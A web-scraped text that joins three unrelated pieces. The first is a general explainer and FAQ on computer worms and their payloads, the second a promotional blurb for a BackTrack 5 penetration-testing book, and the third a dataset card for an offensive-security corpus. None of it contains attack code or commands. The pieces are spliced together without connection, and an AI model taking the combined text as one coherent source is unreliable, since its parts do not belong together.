A worm is a malicious computer program that infects a host computer, replicates itself, and uses computer networks, including the Internet, to infect other computers. Worms are differentiated from other malicious computer programs by the fact that they spread on their own without the use of a host file. The fact that they replicate and send themselves to new recipients means that worms often spread much faster than other forms of malicious programs such as viruses and trojan horses. Worms are created to do a few different things: - To spread: Some worms simply spread from one computer to the next and don’t deliver any sort of payload – code designed to do something more than simply spread the worm. - Delete files: Some worms, such as ExploreZip, delete files from the host computer. - Ransomware attack: Some worms have been known to encrypt a portion of a computer system and demand that a ransom be paid to remove the encryption. - Send documents: There are worms that will grab a document from the infect computer and use the computer’s e-mail client to send the document to other e-mail addresses – potentially releasing sensitive or confidential information. - Install a backdoor: One common activity performed by worms is to install a backdoor onto a computer which the worm author can use to turn the computer into a zombie and add to a botnet. Frequently Asked Questions Is a worm the same thing as a computer virus? Viruses and worms often do many of the same things: delete files, lock down a portion of a computer, allow the computer to be added to a botnet, and generally wreak havoc. The biggest difference between a virus and a worm is that worm replicates and then distributes itself to other computers using either the Internet or a local network connection. A virus, on the other hand, depends on an infected host file being distributed by others in order to spread. Why would someone want to create and spread a worm? For those of us who would never dream of causing intentional harm to someone else’s computer, the motivation behind creating a worm can be a little mistifying. Worm authors typically create the malicious programs for one of three major reasons: to prove they can do it, to make a statement, or for financial gain. Maybe the worm author is new to the world of black hat hacking and wants to make a name for themselves. If so, a successfully deployed worm will do the trick. Perhaps the author detests a specific organization. A targeted worm deployment could cause significant damage to that organization’s computer network. Or maybe the author just wants to make a living at other’s expense. If so, there are several ways a botnet can be used to generate illicit income. How can I protect myself from a worm infection? Most worms spread as e-mail attachments. In order to avoid infection never open an attachment that you weren’t expecting, or that seems out of place. You should also install reputable anti-virus software on your computer, keep it up to date, and perform regular system scans to check for infections. If an infection is ever discovered, clean it up immediately. What does it mean to say that a worm is “payload-free”? The basic behavior that classifies a program as a worm is self-replication and automatic distribution. Some worms do nothing more than to make and distribute copies of themselves. A “payload” is anything a worm does in addition to this basic behavior. A worm that is “payload-free” is one that does nothing more than copy and distribute itself. While seemingly not as menacing as other types of worms, payload-free worms are still problematic because as they spread they can consume massive amounts of network and computer resources causing computer and networks to slow down and eventually crash.
Over 90 recipes to execute many of the best known and little known penetration-testing aspects of BackTrack 5 with this book and ebook. Learn to perform penetration tests with BackTrack 5 Nearly 100 recipes designed to teach penetration testing principles and build knowledge of BackTrack 5 Tools Provides detailed step-by-step instructions on the usage of many of BackTrack’s popular and not-so- popular tools BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. BackTrack is a distribution based on the Debian GNU/Linux distribution aimed at digital forensics and penetration testing use. It is named after backtracking, a search algorithm. "BackTrack 5 Cookbook" provides you with practical recipes featuring many popular tools that cover the basics of a penetration test: information gathering, vulnerability identification, exploitation, priviledge escalation, and covering your tracks. The book begins by covering the installation of BackTrack 5 and setting up a virtual environment to perform your tests. We then dip into recipes involving the basic principles of a penetration test such as information gathering, vulnerability identification, and exploitation. You will further learn about privilege escalation, radio network analysis, Voice over IP, Password cracking, and BackTrack forensics. "BackTrack 5 Cookbook" will serve as an excellent source of information for the security professional and novice alike."

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Trend_Primus_FineWeb-Red

A filtered subset of trendmicro-ailab/Primus-FineWeb, containing red-team / offensive security text.

Dataset Summary

Trend_Primus_FineWeb-Red consists of texts specifically related to offensive cybersecurity and penetration testing topics, such as exploit development, attack methodologies, vulnerability scanning, payload creation, and command-and-control (C2) frameworks, etc..

This dataset was created by filtering offensive cybersecurity content using the RedSecureBERT model. It's intended primarily for training and evaluating offensive-security-oriented cybersecurity models.

Data License

This dataset is released under the ODC-By-1.0 license.

Source: trendmicro-ailab/Primus-FineWeb, HuggingFaceFW/fineweb

Requirements:

Preserve all original copyright/license notices.
Honor Common Crawl's Terms of Use.

Downloads last month: 21

Size of downloaded dataset files:

1.51 GB

Size of the auto-converted Parquet files:

851 MB

Number of rows:

432,637

Models trained or fine-tuned on HagalazAI/Trend_Primus_FineWeb-Red

HagalazAI/cybersecurity-dolphin-2.9.3-mistral-nemo-12b

Text Generation • Updated about 9 hours ago